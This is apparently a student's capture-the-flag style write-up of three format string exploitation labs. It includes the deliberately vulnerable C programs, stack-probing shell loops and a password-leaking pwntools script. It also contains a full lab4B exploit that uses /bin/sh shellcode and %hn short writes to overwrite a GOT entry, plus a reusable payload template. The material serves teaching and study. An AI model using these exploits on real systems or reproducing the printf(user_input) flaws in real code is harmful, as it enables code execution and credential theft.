This lab was mostly a math exercise and learning more about the structure of an elf binary. Format string vulnerabilities are powerful tools that can completely control an executable, given you can get the math right on your exploit. I ran all the exploits on my local machine.

shellnoob fun: snoob –intel –from-asm shell.asm –to-python snoob –intel –from-asm shell.asm –to-strace

rabin2 tool: A tool in the r2 suite that extracts useful info from the binary. I’m planning to start using r2 in ctfs this semester. rabin2 is super nice for getting a quick overall summary of an executable.

fixenv tool I found a tool to help create predicatable addresses between gdb and regular program execution by controlling shell environment variables and input! It was super useful in lab4A!

format strings:

Direct Parameter Access:

%[#]$[format]

Short writes: write two bytes at a time using the “h” format string paramter for %n. Below is a useful python script for future use if I get the chance to use it

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
over_addr_1 = FILLIN
over_addr_2 = FILLIN (usually <strong>+/-2</strong> addr_1)
shell_addr = FILLIN
param1 = FILLIN  (<strong>higher param</strong>)
param2 = FILLIN  (<strong>lower param</strong>)
upper = (shell_addr >> 16 ) - 8
lower = (shell_addr & 0xffff ) - (shell_addr >> 16 )
if lower < 0: lower = ((shell_addr & 0xffff )+ 0x10000) - (shell_addr >> 16 )

payload =  str(over_addr_1)+str(over_addr_2)+"%"+str(upper)+"x%"+str(param1)+"$hn%"+str(lower)+"x%"+str(param2)+"$hn"

Shellcode handbook notes (addresses to attack):

  • Overwrite the saved return address. To do this, we must work out the address of the saved return address, which means guesswork, brute force, or information disclosure.

  • Overwrite another application- specific function pointer. This technique is unlikely to be easy since many programs don’t leave function point- ers available to you. However, you might find something useful if your target is a C++ application.

  • Overwrite a pointer to an exception handler, then cause an exception. This is extremely likely to work, and involves eminently guessable addresses.

  • Overwrite a GOT entry. We did this in wu-ftpd. This is a pretty good option. PLT (procedure linking table) links to GOT(global offset table) [ objdump -d -j .plt ./fmt_vuln -> objdump -R ./fmt_vuln ]

  • Overwrite the atexit handler. You may or may not be able to use this technique, depending on the target.

  • Overwrite entries in the DTORS section. Refer to Hacking_Art_of_Exploitation

  • Turn a format string bug into a stack or heap overflow by overwriting a null terminator with non- null data. This is tricky, but the results can be quite funny.

  • Write application- specific data such as stored UID or GID values with values of your choice.

  • Modify strings containing commands to reflect commands of your choice.

If we can’t run code on the stack, we can easily bypass the problem by the following:

  • Writing shellcode to the location of your choice in memory, using % n - type specifiers. We did this in our wu- ftpd example.
  • Using a register- relative jump if we’re brute forcing, which gives us a much better chance of hitting our shellcode (if it’s in our format string).

getenvaddr.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	char *ptr;
	if(argc < 3) {
		printf("Usage: %s <environment var> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* Get env var location. */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
	printf("%s will be at %p\n", argv[1], ptr);
}

RELRO: another link

RELRO is a generic mitigation technique to harden the data sections of an ELF binary/process. There are two different “operation modes” of RELRO:

Partial RELRO

  • compiler command line: gcc -Wl,-z,relro
  • the ELF sections are reordered so that the ELF internal data sections (.got, .dtors, etc.) precede the program’s data sections (.data and .bss)
  • non-PLT GOT is read-only
  • GOT is still writeable

Full RELRO

  • compiler command line: gcc -Wl,-z,relro,-z,now
  • supports all the features of partial RELRO
  • bonus: the entire GOT is also (re)mapped as read-only

Stack Canary: source: Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.

lab4C

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
 *   Format String Lab - C Problem
 *   gcc -z execstack -z norelro -fno-stack-protector -o lab4C lab4C.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PASS_LEN 30

int main(int argc, char *argv[])
{
    char username[100] = {0};
    char real_pass[PASS_LEN] = {0};
    char in_pass[100] = {0};
    FILE *pass_file = NULL;
    int rsize = 0;

    /* open the password file */
    pass_file = fopen("/home/lab4B/.pass", "r");
    if (pass_file == NULL) {
        fprintf(stderr, "ERROR: failed to open password file\n");
        exit(EXIT_FAILURE);
    }

    /* read the contents of the password file */
    rsize = fread(real_pass, 1, PASS_LEN, pass_file);
    real_pass[strcspn(real_pass, "\n")] = '\0';  // strip \n
    if (rsize != PASS_LEN) {
        fprintf(stderr, "ERROR: failed to read password file\n");
        exit(EXIT_FAILURE);
    }

    /* close the password file */
    fclose(pass_file);

    puts("===== [ Secure Access System v1.0 ] =====");
    puts("-----------------------------------------");
    puts("- You must login to access this system. -");
    puts("-----------------------------------------");

    /* read username securely */
    printf("--[ Username: ");
    fgets(username, 100, stdin);
    username[strcspn(username, "\n")] = '\0';    // strip \n

    /* read input password securely */
    printf("--[ Password: ");
    fgets(in_pass, sizeof(in_pass), stdin);
    in_pass[strcspn(in_pass, "\n")] = '\0';      // strip \n

    puts("-----------------------------------------");

    /* log the user in if the password is correct */
    if(!strncmp(real_pass, in_pass, PASS_LEN)){
        printf("Greetings, %s!\n", username);
        system("/bin/sh");
    } else {
        printf(username);
        printf(" does not have access!\n");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}

FIND start of input string address: Borrowing from the Shellcoder’s Handbook I use the for loop to print out the first 100 dword (8 bytes) bytes on the stack. The grep will identify which dword is the start of the username variable data. This script uses linux

[bash gutter="false” highlight="2,14”] for (( i=1; i < 100; i++)); do echo “$i”; echo “AAAA%$i$x” | ./lab4C| grep 4141; done [/bash]

The 37th dword contains the username input data, this means the data of the real_pass is just below it (specifically the last 30 bytes defined by PASS_LEN). This means its very easy to print out in gdb where the stack addresses are predictable!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb-peda$ b *main+533
Breakpoint 1 at 0x8048a42
gdb-peda$ r < <(echo -n "\xe6\xcf\xff\xff%37\$s\n\n")
<----- CUT OUTPUT ----->
[------------------------------------stack-------------------------------------]
0000| 0xffffcf70 --> 0xffffd004 --> 0x0 
0004| 0xffffcf74 --> 0x64 ('d')
0008| 0xffffcf78 --> 0xf7faf5c0 --> 0xfbad2088 
0012| 0xffffcf7c --> 0x804a160 --> 0x0 
0016| 0xffffcf80 --> 0xd000 
0020| 0xffffcf84 --> 0x0 
0024| 0xffffcf88 --> 0x0 
0028| 0xffffcf8c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048a42 in main ()
gdb-peda$ 0xffffd004-30
Undefined command: "0xffffd004-30".  Try "help".
gdb-peda$ p 0xffffd004-30
$1 = 0xffffcfe6
gdb-peda$ x/s 0xffffcfe6
0xffffcfe6:	"WE NEED A REALLY LONG PASS!!!"

This was too easy so I wanted to challenge myself to write a script using format strings to print out the password from its value on the stack! I modified the for loop to print out all the bytes on the stack up to the end of the string (a null byte). To get the right numbers I printed modified the beginning index that included the 30th byte down from the username dword. I added an 0x to make finding the address easy with regex.

for (( i=29; i < 37; i++)); do echo "$i"; (echo "0x%$i\$x" | ./lab4C) ; done

Translating this into a pwntools script below to print the password in nice human format! Messing around with the bytes was tricky due to having to account for the endianness of the output.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#context.log_level = 'debug'

final = []
for i in range(29,37):
    p = process('./lab4C')

    #create string
    payload = "0x%"+ str(i) +"$x\n\n"

    #override return
    p.sendline(payload)

    #only grab the address using regex
    final.append(p.recvline_regex("0[xX][0-9a-fA-F]+", exact=True).split()[0])
sc
out = ""
for x in final:
    #pretty print out the litle endian bytes
    out += p32(int(x,16), endianness="little")
print out

Below is the nice output, the null bytes are easy to remove.

lab4B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
 *   Format String Lab - B Problem
 *   gcc -z execstack -z norelro -fno-stack-protector -o lab4B lab4B.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int i = 0;
    char buf[100];

    /* read user input securely */
    fgets(buf, 100, stdin);

    /* convert string to lowercase */
    for (i = 0; i < strlen(buf); i++) if (buf[i] >= 'A' && buf[i] <= 'Z')
            buf[i] = buf[i] ^ 0x20;

    /* print out our nice and new lowercase string */
    printf(buf);

    exit(EXIT_SUCCESS);
    return EXIT_FAILURE;
}

This is a very obvious format string exploit, with buf as the only parameter for the printf call. After reading through both hacking art of exploitation and shellcode books it seemed the best course of action would be to override the GOT pointer to exit and have it point to my shellcode stored in an environment var. Exit is the last function called after the printf statement so this seems appropriate.

First Find the parameter that buf sits on the stack. I forgot that the code changes the letters to lowercase so I had to find the hex of ‘a’ and not ‘A’. This produced a parameter 6.

1
for (( i=0; i < 100; i++)); do echo "$i"; (echo "AAAA%$i\$p" | ./lab4B) | grep 61 ; done

Next I need to get the address of the shellcode env var. This was done with the compiled version of getenvaddr from Hacking_art_of_exploitation (Compiled:gcc -m32 -o getenvaddr getenvaddr.c ) Running in my python script below got an address: 0xffffd531 Unfortunately when I was running the getenvaddr in pwntools it was off by a few bytes (I’m not sure why). So I had to find the address with gdb:

gdb-peda$ hexdump 0xffffd531
0xffffd531 : d2 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 87 e3   .1.Ph//shh/bin..
gdb-peda$ hexdump 0xffffd531-6
0xffffd52b : 3d 31 db 31 c9 31 d2 31 c0 50 68 2f 2f 73 68 68   =1.1.1.1.Ph//shh
gdb-peda$ hexdump 0xffffd531-5
0xffffd52c : 31 db 31 c9 31 d2 31 c0 50 68 2f 2f 73 68 68 2f   1.1.1.1.Ph//shh/

Next is to find the address of exit in the GOT:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ objdump -R lab4B
lab4B:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804999c R_386_GLOB_DAT    __gmon_start__
080499cc R_386_COPY        stdin@@GLIBC_2.0
080499ac R_386_JUMP_SLOT   printf@GLIBC_2.0
080499b0 R_386_JUMP_SLOT   fgets@GLIBC_2.0
080499b4 R_386_JUMP_SLOT   __gmon_start__
080499b8 R_386_JUMP_SLOT   exit@GLIBC_2.0
080499bc R_386_JUMP_SLOT   strlen@GLIBC_2.0
080499c0 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0

Finally, using direct paramter access and “short writes” overwrite the GOT return address. (using “h” to write only two bytes with %n (instead of the normal 4)). %n writes the number of bytes currently written on the stack, so using %x with an offset controls the bytes written to each address. A formula for the offset number of the %x string: (REMEMBER addresses in little endian!)

x1: [upper 4 bytes] - 8 x2: [lower 4 bytes] - [upper 4 bytes] (wrapping with an extra 1 if negative) [addr1][addr2]%x1x%[param]$hn%x2%[param+1]$hn

Final Script: The final exploit script using pwntools!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import os

context(arch='i386', os='linux',endian='little', word_size=32)

#spaced below for jumps needed
#original shell had to be modifiied
#//https://www.exploit-db.com/shellcodes/40131
shell = "\x31\xdb\x31\xc9\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80";

#exit call
"""xor eax,eax; 
xor ebx,ebx; 
mov al, 0x1; 
xor edx,edx;
xor ecx,ecx;
int 0x80;"""

shell += "\x31\xc0\x31\xdb\xb0\x01\x31\xd2\x31\xc9\xcd\x80";

#echo shell
#print "\\x".join(x.encode('hex') for x in shell)


#address of input var on stack
#for (( i=0; i < 100; i++)); do echo "$i"; (echo "AAAA%$i\$p" | ./lab4B) | grep 61 ; done
#6

#gdb process script
script = "\
b *main+151 \n\
"

#setup payload in env var
env = "shellcode"
os.environ[env] = shell

#get shellcode addr
p = process(['./getenvaddr',env,'./lab4B'])
shell_addr =  p.recvall().split()
p.close()
#had to override
shell_addr = 0xffffd52c

#get addr to overwrite
#readelf -r lab4B
#exit got
over_addr_1 = p32(0x080499ba)
over_addr_2 = p32(0x080499b8)

#process Start
#context.log_level = 'debug'
p = process('./lab4B')

#build payload
#write in sets of 16 bits aka short writes
upper = (shell_addr >> 16 ) - 8
lower = (shell_addr & 0xffff ) - (shell_addr >> 16 )
if lower < 0:
    lower = ((shell_addr & 0xffff )+ 0x10000) - (shell_addr >> 16 )


payload =  str(over_addr_1)+str(over_addr_2)+"%"+str(upper)+"x%6$hn%"+str(lower)+"x%7$hn"

#attach gdb
#gdb.attach(p, script)

#override return
p.sendline(payload)

#should have shell!
p.interactive()

The final output after I get a shell. There were alot of spaces output due to the high x offset.

lab4A

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/*
 *   Format String Lab - A Problem
 *   gcc -z execstack -z relro -z now -o lab4A lab4A.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define BACKUP_DIR "./backups/"
#define LOG_FILE "./backups/.log"

void
log_wrapper(FILE *logf, char *msg, char *filename)
{
    char log_buf[255];
    strcpy(log_buf, msg);
    snprintf(log_buf+strlen(log_buf), 255-strlen(log_buf)-1/*NULL*/, filename);
    log_buf[strcspn(log_buf, "\n")] = '\0';
    fprintf(logf, "LOG: %s\n", log_buf);
}

int
main(int argc, char *argv[])
{
    char ch = EOF;
    char dest_buf[100];
    FILE *source, *logf;
    int target = -1;

    if (argc != 2) {
        printf("Usage: %s filename\n", argv[0]);
    }

    // Open log file
    logf = fopen(LOG_FILE, "w");
    if (logf == NULL) {
        printf("ERROR: Failed to open %s\n", LOG_FILE);
        exit(EXIT_FAILURE);
    }

    log_wrapper(logf, "Starting back up: ", argv[1]);

    // Open source
    source = fopen(argv[1], "r");
    if (source == NULL) {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    // Open dest
    strcpy(dest_buf, BACKUP_DIR);
    strncat(dest_buf, argv[1], 100-strlen(dest_buf)-1/*NULL*/);
    target = open(dest_buf, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
    if (target < 0) {
        printf("ERROR: Failed to open %s%s\n", BACKUP_DIR, argv[1]);
        exit(EXIT_FAILURE);
    }

    // Copy data
    while( ( ch = fgetc(source) ) != EOF)
        write(target, &ch, 1);

    log_wrapper(logf, "Finished back up ", argv[1]);

    // Clean up
    fclose(source);
    close(target);

    return EXIT_SUCCESS;
}

At first I thought I could overwite BACKUP_DIR, but the #define string is compiled into the program:

[-------------------------------------code-------------------------------------]
   0x8048ac8 <main+232>:	mov    DWORD PTR [esp],0x1
   0x8048acf <main+239>:	call   0x8048750 <exit@plt>
   0x8048ad4 <main+244>:	lea    eax,[esp+0x28]
=> 0x8048ad8 <main+248>:	mov    DWORD PTR [eax],0x61622f2e
   0x8048ade <main+254>:	mov    DWORD PTR [eax+0x4],0x70756b63
   0x8048ae5 <main+261>:	mov    WORD PTR [eax+0x8],0x2f73
   0x8048aeb <main+267>:	mov    BYTE PTR [eax+0xa],0x0
   0x8048aef <main+271>:	lea    eax,[esp+0x28]
[------------------------------------stack-------------------------------------]

Most likely there is a way to overwrite the string in memory since the format string vulnerability would give arbitrary read/write access. However, I thought there might be a more simple address to overwrite!

That becomes complicated when I can no longer overwrite the GOT table due to RELRO (see above). The line highlighting the RELRO feature in the executable. It was also highlighted on line 3 in the compilation of the executable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ readelf -l lab4A

Elf file type is EXEC (Executable file)
Entry point 0x8048800
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00e30 0x00e30 R E 0x1000
  LOAD           0x000ea8 0x08049ea8 0x08049ea8 0x00160 0x00164 RW  0x1000
  DYNAMIC        0x000eb4 0x08049eb4 0x08049eb4 0x000f8 0x000f8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000d28 0x08048d28 0x08048d28 0x00034 0x00034 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x000ea8 0x08049ea8 0x08049ea8 0x00158 0x00158 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .jcr .dynamic .got .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .init_array .fini_array .jcr .dynamic .got 

rabin2 is another tool that outputs the same information above with easier detail! Also, checksec command on peda will do the same as well!

╰─$ rabin2 -I lab4A
arch     x86
baddr    0x8048000
binsz    7717
bintype  elf
bits     32
canary   true
sanitiz  false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    full
rpath    NONE
static   false
stripped false
subsys   linux
va       true

So the snprintf function is the vulnerable function above that enables the format string vulnerability. Luckily, the userinput (i.e. argv[1]) controls the format string for the print funciton! This means the steps to find the vulnerability are like before: Find the parameter to access the string, use those paramters to override an arbitrary address (i.e. return pointer), and control program execution!

Finding paramter that holds the string:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ for (( i=0; i < 100; i++)); do echo $i;  ./lab4A AAAA.%$i\$08x; cat ./backups/.log ; done
0
ERROR: Failed to open AAAA.%0$08x
LOG: Starting back up: AAAA.%0$08x
1
ERROR: Failed to open AAAA.%1$08x
LOG: Starting back up: AAAA.f7fd00c0
2
ERROR: Failed to open AAAA.%2$08x
LOG: Starting back up: AAAA.00008241
3
ERROR: Failed to open AAAA.%3$08x
LOG: Starting back up: AAAA.ffffd343
4
ERROR: Failed to open AAAA.%4$08x
LOG: Starting back up: AAAA.08048cda
5
ERROR: Failed to open AAAA.%5$08x
LOG: Starting back up: AAAA.0804b160
6
ERROR: Failed to open AAAA.%6$08x
LOG: Starting back up: AAAA.00000000
7
ERROR: Failed to open AAAA.%7$08x
LOG: Starting back up: AAAA.00000158
8
ERROR: Failed to open AAAA.%8$08x
LOG: Starting back up: AAAA.f7e49819
9
ERROR: Failed to open AAAA.%9$08x
LOG: Starting back up: AAAA.61745300
10
ERROR: Failed to open AAAA.%10$08x
LOG: Starting back up: AAAA.6e697472
11
ERROR: Failed to open AAAA.%11$08x
LOG: Starting back up: AAAA.61622067
12
ERROR: Failed to open AAAA.%12$08x
LOG: Starting back up: AAAA.75206b63
13
ERROR: Failed to open AAAA.%13$08x
LOG: Starting back up: AAAA.41203a70
14
ERROR: Failed to open AAAA.%14$08x
LOG: Starting back up: AAAA.2e414141
15
ERROR: Failed to open AAAA.%15$08x
LOG: Starting back up: AAAA.00000241

Parameter 14 and 15, except they are at a bad offset! In order to fix this add a byte onto the stack! (add an extra byte to the format string!)

$ for (( i=0; i < 100; i++)); do echo $i;  ./lab4A XAAAA.%$i\$08x; cat ./backups/.log ; done
< ---- CUT OUTPUT ---- >
14
ERROR: Failed to open XAAAA.%14$08x
LOG: Starting back up: XAAAA.41414141

Now the paramters are clear the next step is to find the right address to overwrite on the stack! In this case a good address to find is the address of the return from log_wrapper funciton. Its closer to the call to vsprintf, and easier to get than the return from main. For some reason gdb would not attach to the process in my python script so I had to find a different way to get a predictable address. I think this is because the lab4A executable would complete faster than the gdb process could attach. Fixenv helped make the process easier by keeping the same environment across gdb and my zsh shell (fixenv explained above).

$ fixenv gdb ./lab4A $(python exploit_4A.py) 
< ---- CUT OUTPUT ---- >
[-------------------------------------code-------------------------------------]
   0x8048978 <log_wrapper+123>:	mov    DWORD PTR [esp+0x8],eax
   0x804897c <log_wrapper+127>:	mov    DWORD PTR [esp+0x4],ebx
   0x8048980 <log_wrapper+131>:	mov    DWORD PTR [esp],edx
=> 0x8048983 <log_wrapper+134>:	call   0x80487c0 <snprintf@plt>
   0x8048988 <log_wrapper+139>:	mov    DWORD PTR [esp+0x4],0x8048c90
   0x8048990 <log_wrapper+147>:	lea    eax,[ebp-0x10b]
   0x8048996 <log_wrapper+153>:	mov    DWORD PTR [esp],eax
   0x8048999 <log_wrapper+156>:	call   0x8048700 <strcspn@plt>
Guessed arguments:
arg[0]: 0xffffce6f --> 0x4b16000 
arg[1]: 0xec 
arg[2]: 0xffffd29e --> 0xffcf8c58 
[------------------------------------stack-------------------------------------]
0000| 0xffffce30 --> 0xffffce6f --> 0x4b16000 
0004| 0xffffce34 --> 0xec 
0008| 0xffffce38 --> 0xffffd29e --> 0xffcf8c58 
0012| 0xffffce3c --> 0xf7fd00c0 (0xf7fd00c0)
0016| 0xffffce40 --> 0x8241 
0020| 0xffffce44 --> 0xffffd29e --> 0xffcf8c58 
0024| 0xffffce48 --> 0x8048cda ("Starting back up: ")
0028| 0xffffce4c --> 0x804b160 --> 0xfbad2484 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x08048983 in log_wrapper ()
gdb-peda$ telescope 200
< ---- CUT OUTPUT ---- >
--More--(175/200)
0700| 0xffffd0ec --> 0xffffda22 ("LSCOLORS=Gxfxcxdxbxegedabagacad")
0704| 0xffffd0f0 --> 0xffffda42 ("DESKTOP_SESSION=ubuntu")
0708| 0xffffd0f4 --> 0xffffda59 ("shellcode=1\333\061\311\061\322\061\300Ph//shh/bin\207\343\260\v̀1\300\061۰\001\061\322\061\311̀")
< ---- CUT OUTPUT ---- >

Now the only last remaining step is to get the address to override: the return address.

[-------------------------------------code-------------------------------------]
   0x80489d7 <log_wrapper+218>:	add    esp,0x134
   0x80489dd <log_wrapper+224>:	pop    ebx
   0x80489de <log_wrapper+225>:	pop    ebp
=> 0x80489df <log_wrapper+226>:	ret    
   0x80489e0 <main>:	push   ebp
   0x80489e1 <main+1>:	mov    ebp,esp
   0x80489e3 <main+3>:	and    esp,0xfffffff0
   0x80489e6 <main+6>:	sub    esp,0x90
[------------------------------------stack-------------------------------------]
0000| 0xffffcf6c --> 0xffffda63 --> 0xc931db31 
0004| 0xffffcf70 --> 0x804b160 --> 0xfbad2c84 
0008| 0xffffcf74 --> 0x8048cda ("Starting back up: ")
0012| 0xffffcf78 --> 0xffffd29e --> 0xffcf6c58 
0016| 0xffffcf7c --> 0xffffd0a4 --> 0xffffd266 ("/home/master/ctf/mbe/MBE_release/levels/lab04/.launcher")
0020| 0xffffcf80 --> 0xffffcfbc --> 0xf7fb1748 --> 0x0 
0024| 0xffffcf84 --> 0xffffcfab --> 0x7b4b0000 ('')
0028| 0xffffcf88 --> 0xff000001 
[------------------------------------------------------------------------------]

Put it all together in a python script (output the result). I can’t use pwntools to run the executable since that will change the environment and stack addresses. So I have to use the commandline again to run the exploit.